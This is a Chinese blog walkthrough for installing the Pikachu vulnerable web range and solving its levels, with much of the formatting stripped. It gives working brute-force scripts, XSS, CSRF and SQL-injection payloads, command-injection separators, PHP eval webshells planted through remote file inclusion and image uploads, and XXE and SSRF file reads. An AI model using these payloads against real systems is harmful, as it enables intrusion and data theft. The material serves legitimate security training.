Pikachu靶场的搭建以及通关步骤(超详细)

张开发
2026/6/1 5:14:33 15 分钟阅读
Pikachu靶场的搭建以及通关步骤(超详细)
写在前面文章来源小夏的个人空间因为之前的个人网站没有添加图片所以之前的靶场类都打算重写但是太浪费时间也没心情去写周五的时候一个学长让我做一下pikachu靶场顺便写成文章吧耗时近两天(周六14h周日8h)搭建下载小皮面板(PhpstudyPro)下载地址双击安装点击自定义选择按需设置路径等安装ing安装完成双击打开修改web服务器下载靶场Pikachu下载地址启动服务打开网站根目录下载的靶场解压到此处并重命名为pikachu修改配置文件填写数据库密码编辑config.inc.php打开浏览器输入http://127.0.0.1/pikachu/install.php点击初始化开始安装安装完成通关步骤暴力破解概述基于表单的暴力破解原理: 部分用户甚至管理员设置的密码较为简单(弱口令)可以通过逐个尝试判断中有效的用户名和密码方法1:使用Burpsuite的Intrunder模块进行暴力破解Burpsuite的安装开启流量拦截开启浏览器代理如果不适用内嵌浏览器burpsuite拦截不到回环流量需要把127.0.0.1改成任意网卡的地址我这改成了192.168.19.1输入任意内容分析传输数据发送到攻击器(Intruder)添加payload分别选中①②分别点击③添加后效果选择类型: 集群炸弹攻击指定字典payload1为用户名payload2为密码开始攻击漫长的等待……得到正确密码方法2:通过python脚本进行暴力破解importrequests urlhttp://192.168.79.1/pikachu/vul/burteforce/bf_form.php# 读取用户名字典# usernames []# f_user open(user.txt, r, encodingutf-8)# while True:# line f_user.readline()# if not line:# break# line line.strip()# if line:# usernames.append(line)# f_user.close()# 读取密码字典# passwords []# f_pass open(pass.txt, r, encodingutf-8)# while True:# line f_pass.readline()# if not line:# break# line line.strip()# if line:# passwords.append(line)# f_pass.close()# 字典中的字段需要一个一行usernames[admin,user,test,pikachu]passwords[123456,admin,123123,password,root]forusernameinusernames:forpasswordinpasswords:data{username:username,password:password,submit:Login}resrequests.post(url,datadata)iflogin successinres.text:print(f破解成功用户名{username}密码{password})exit()else:print(f尝试失败{username}/{password})注:login success字段只是Pikachu的登录成功提示并不是固定的源码分析正如注释所见只有一句查询语句没有任何安全验证验证码(on server)分析使用burpsuite抓包发现多了一个字段发送到重放器提交几次发现验证码刷新后但是没有报验证码相关的错验证码并不会失效发送到攻击器(Intruder)添加payload类型选择集群炸弹攻击指定字典开始攻击 等待得到正确用户名密码源码分析在验证码判断后没有销毁session[‘vscode’]验证码可以一直被重复利用验证码(on client)分析发现验证码是通过前端js验证的停用js验证绕过了判断开始爆破发送到攻击器(Intruder)添加payload选择类型集群炸弹攻击指定字典开始攻击 等待得到正确的用户名和密码源码分析源码中没有验证码变量token防爆破?分析前端没有验证码请求中存在token发送到重复器后token不能够重复利用查看页面源码发现隐藏类型的input标签发送到攻击器尝试暴力破解添加payload(一定要将整个字段一起选中否则后续会出问题)类型选择Pitchfork攻击模式用户名和密码依旧使用字典token字段选择递归提取设置提取位置(全部选中)设置检索内容设置线程开始攻击 等待得到正确的用户名和密码源码分析这里输出了token的值可以递归提取tokenCross-Site Scripting概述xss是在注入点可以执行js代码所以目标是执行js代码不是设计具有攻击性的payload反射型xss(get)反射型xss是在前端执行js代码如果将具有恶意js代码的url复制后别人点击打开就会执行scriptalert()/script输入到r以后输入不了了查看输入框的页面源码将长度限制改大一些或者直接删掉即可继续输入成功执行alert()反射型xss(post)目标是获取cookie登陆后输入payloadscriptalert(document.cookie)/scriptpostxss若想做到别人点击即执行需要通过页面跳转formactionhttp://192.168.19.1/pikachu/vul/xss/xsspost/xss_reflected_post.phpmethodPOSTinputtypehiddenname参数名valuescriptalert(1)/script/formscriptdocument.forms[0].submit();/script将以上代码写到一个静态网页中然后将静态网页的地址复制转发即可做到与get型同样的效果存储型xss存储型的xss是写入后端被记录的内容写入后在前端打开网页就执行js代码scriptalert()/script写入后别人打开网页即可执行DOM型xss补:DOM是什么?简单来说DOM就是家谱一样的东西将前端源码转为一级一级的形式给js看然后js才能看懂输入常规payload后发现没有执行查看页面源码输入的内容被强制写入了a标签的href属性中我们尝试闭合a标签的href属性innerHTML 插入的 script 标签默认不执行所以我们需要使用别的方法这里选择使用标签的属性执行js代码img src# onclickalert()当我们点击图片的时候就能够执行alertDOM型xss-x随便输入一些内容观察本关将输入的内容拼接到了url中添加了简单的过滤不过与我们的payload没有啥关系直接输入payload即可img src# onclickalert()xss之盲打XSS盲打Blind XSS是存储型XSS的一种特殊变体其核心挑战在于攻击者无法直接看到攻击结果。这通常发生在用户输入被存储在服务器如数据库、日志文件中但不会在当前页面立即显示而是由其他用户如管理员在后台或其他页面查看时才会触发。scriptalert()/script提交后按照提示访问后台管理页面/xssblind/admin_login.php按照用户名密码登录登录后成功执行js代码xss之过滤scriptalert()/script没有执行提示说有些内容被过滤了尝试绕过大小写绕过Scriptalert()/Scriptxss之htmlspecialcharshtmlspecialchar会将以下五个字符转义为实体编码原字符转义后说明amp;和号必须最先转lt;小于号gt;大于号quot;双引号#039;单引号需开启参数使用javascript伪协议绕过或事件处理器(onclick一类)即可javascript:alert()xss之href输出与htmlspecialchar相同使用javascript伪协议绕过xss之js输出它模拟的是反射型XSS的一种特殊场景恶意代码的注入点位于 JavaScript 代码块内部而非普通的 HTML 标签内。随便输入内容测试找到script代码尝试闭合script标签跳过判断/scriptscriptalert()/scriptCSRF概述CSRF(get)登录后点击修改个人信息抓包发送到重放器在没有获得用户名密码的情况下通过请求信息修改了用户数据CSRF(post)post与get是一样的不同点在于请求位置不同CSRF Token在下一次修改前查看返回的token并替换请求中的token总结XSS和CSRF的区别在哪CSRF是借助用户的权限完成攻击攻击者并没有拿到用户的权限。目标构造修改个人信息的链接利用lucy在登录状态下点击此链接达到修改信息的目的。XSS直接盗取了用户的权限然后实施破坏。攻击者利用XSS盗取了目标的Cookie登录lucy的后台再修改相关信息。SQL-Inject概述sql注入总结数字型注入(post)因为是post型注入不能直接修改页面内容所以使用hackbar或者burpsuite抓包修改post数据我选择使用hackbar已知条件为数字型注入不用判断注入类型和闭合方式了判断字段数id6orderby2submit%E6%9F%A5%E8%AF%A2id6orderby3submit%E6%9F%A5%E8%AF%A2一共有两个字段联合查询判断回显点id6unionselect1,2submit%E6%9F%A5%E8%AF%A2查数据库名当前库名为pikachu查表名id-6unionselectdatabase(),(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemapikachu)submit%E6%9F%A5%E8%AF%A2剩余信息通过修改sql语句随意查询字符型注入(get)判断闭合方式11-- 单引号闭合判断字段数kobeorderby2-- kobeorderby3-- 字段数为2联合查询判断回显点1unionselect1,2-- 查数据库名1unionselectdatabase(),2-- 剩余信息随便查搜索型注入判断闭合方式-- 单引号闭合判断字段数orderby3-- 判断字段数kobeorderby3-- kobeorderby4-- 联合查询判断回显点testunionselect1,2,3-- 查看当前数据库testunionselectdatabase(),2,3-- 剩余信息随便查XX型注入判断闭合方式 )-- GET型 单引号括号闭合判断字段数使用老账号kobekobe)orderby3-- kobe)orderby2-- 联合查询判断回显点1)unionselect1,2-- 查看当前库名1)unionselectdatabase(),2-- 剩余信息随便查insert/update注入点击注册报错注入updatexml()原理insert into (a,b,c) values(‘value1’,‘2’,‘3’);使用引号闭合values中的值然后就可以插入sql语句 or updatexml(1,concat(0x7e,database()),0) or 其它信息则将sql语句中的database()替换即可update与insert同理 or updatexml(1,concat(0x7e,database()),0) or delete注入发现删除按钮中有get请求使用burpsuite抓包发送到重放器1orupdatexml(1,concat(0x7e,database()),0)http header注入登录并抓包登录数据发送到重放器寻找注入点 or updatexml(1,concat(0x7e,database()),0) or 盲注(base on boolian)kobeandlength(database())7-- kobeandlength(database())8-- 数据库名长度为7kobe and (select substr(datebase(),1,1))97-- 从97开始去挨个试…最后拼接出数据库名其它字段亦如此盲注(base on time)如果页面延迟刷新代表payload生效kobeandif(ascii(substr(database(),1,1))112,sleep(5),0)-- 挨个判断宽字节注入kobe%dfor11#REC概述exec “ping”简单的命令执行常见的命令执行拼接符# Uinx/Linux;顺序执行前一条成功后一条才执行||前一条失败后一条才执行|管道,前输出当作后输入$()/ 嵌套 %0a 换行# Windows||127.0.0.1|lsexec “eval”phpinfo();File Inclusion概述File Inclusion(local)include()可以在页面内包含其他的页面include_once()只会包含一次避免重复定义报错例如pikachu靶场的header和footer都是通过include_once()引入的在url中通过修改filenamexxx字段即可做到本地文件包含例:读取index页../../../index.phpFile Inclusion(remote)条件1.php.ini中allow_url_include和allow_url_fopen的开启2.所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)在本地写攻击脚本?php$myfilefopen(1.php,w);$txt?php eval($_POST[test]);?;fwrite($myfile,$txt);fclose($myfile);?开启php监听为了体现远程我将这个脚本放到kali中开启php服务在本机访问此文件http://192.168.19.133:8000/1.txt此时在目录下已经生成了1.php使用蚁剑连接http://192.168.19.1/pikachu/vul/fileinclude/1.phpUnsafe Filedownload概述Unsafe Filedownload查看前端源码发现下载连接可以将filename随意修改下载一些未经授权的文件execdownload.php?filename../../../README.mdUnsafe Fileupload概述PHP一句话木马?phpeval($_POST[test]);?client check客户端检查时在上传之前通过js检查可以通过关闭js调试和抓包后修改文件后缀名停用js调试抓包修改后缀名首先将php木马的后缀名修改为jpg抓包修改后缀上传成功MIME type常见MIME超文本标记语言文本 .html、.htmltext/html 普通文本 .txt text/plain RTF 文本 .rtf application/rtf GIF 图形 .gif image/gif JPEG 图形 .jpeg、.jpg image/jpeg au 声音文件 .au audio/basic MIDI 音乐文件 mid、.midi audio/midi、audio/x-midi RealAudio 音乐文件 .ra、.ram audio/x-pn-realaudio MPEG 文件 .mpg、.mpeg video/mpeg AVI 文件 .avi video/x-msvideo GZIP 文件 .gz application/x-gzip TAR 文件 .tar application/x-tar抓包将content-type改为image/png上传成功getimagesizegetimagesize(string filename)函数是PHP中的一个内置函数用于获取指定图像文件的尺寸和其他相关信息。函数参数- filename要获取信息的图像文件的路径或URL。函数返回值- 如果指定的文件是一个有效的图像文件则返回一个包含图像尺寸和其他信息的关联数组例如- [0]图像的宽度像素- [1]图像的高度像素- [2]图像类型的常量- [3]包含字符串描述的图像类型如width100 height100等- ‘mime’图像的MIME类型- 如果指定的文件不是一个有效的图像文件则返回false。生成图片马test.php中内容改为?php $myfile fopen(1.php, w); $txt ?php eval($_POST[test]);?; fwrite($myfile, $txt); fclose($myfile); ?使用copy /b生成图片马copy /b xx.jpg test.php1.jpg上传成功访问图片马来到靶场/vul/fileinclude/fi_local.php目录下拼接图片马返回的url然后会在文件包含目录中生成1.php最后使用蚁剑连接Over Permission概述水平越权使用lucy登录修改url中的lucy为lili在没有登录的前提下访问到了其它平级用户的信息属于水平越权垂直越权使用admin登录发现有创建用户的权限添加一个用户复制其url使用pikachu登录访问刚才复制的urlhttp://192.168.19.1/pikachu/vul/overpermission/op2/op2_admin_edit.php发现在pikachu用户中也能够进行添加用户在普通用户下执行了管理员用户的操作属于垂直越权…/…/概述目录遍历点击标题后可访问文章将文章名改为…/…/…/index.php敏感信息泄露概述IcanseeyourABC使用lili登录PHP反序列化概述PHP反序列化漏洞通过脚本构造一个序列化的字符串O:1:S:1:{s:4:test;s:24:scriptalert()/script;}将payload填写到输入框中XXE概述XXE漏洞判断有无回显?xml version1.0?!DOCTYPEANY[!ENTITYxxe回显]axxe;/a有回显构造payloadpayload使用file协议查看win.ini?xml version1.0?!DOCTYPEANY[!ENTITY xxe SYSTEM file:///c:/windows/win.ini]axxe;/aURL重定向概述不安全的URL跳转在点击url的时候一定要确认好是正确的urlSSRF概述SSRF(curl)curl支持http、file等多种协议httpfileSSRF(file_get_content))在www下写入flag.txtfile协议?filefile:///H:\phpstudy_pro\WWW\flag.txtphp伪协议?filephp://filter/readconvert.base64-encode/resourceH:\phpstudy_pro\WWW\flag.txt使用base64解码

更多文章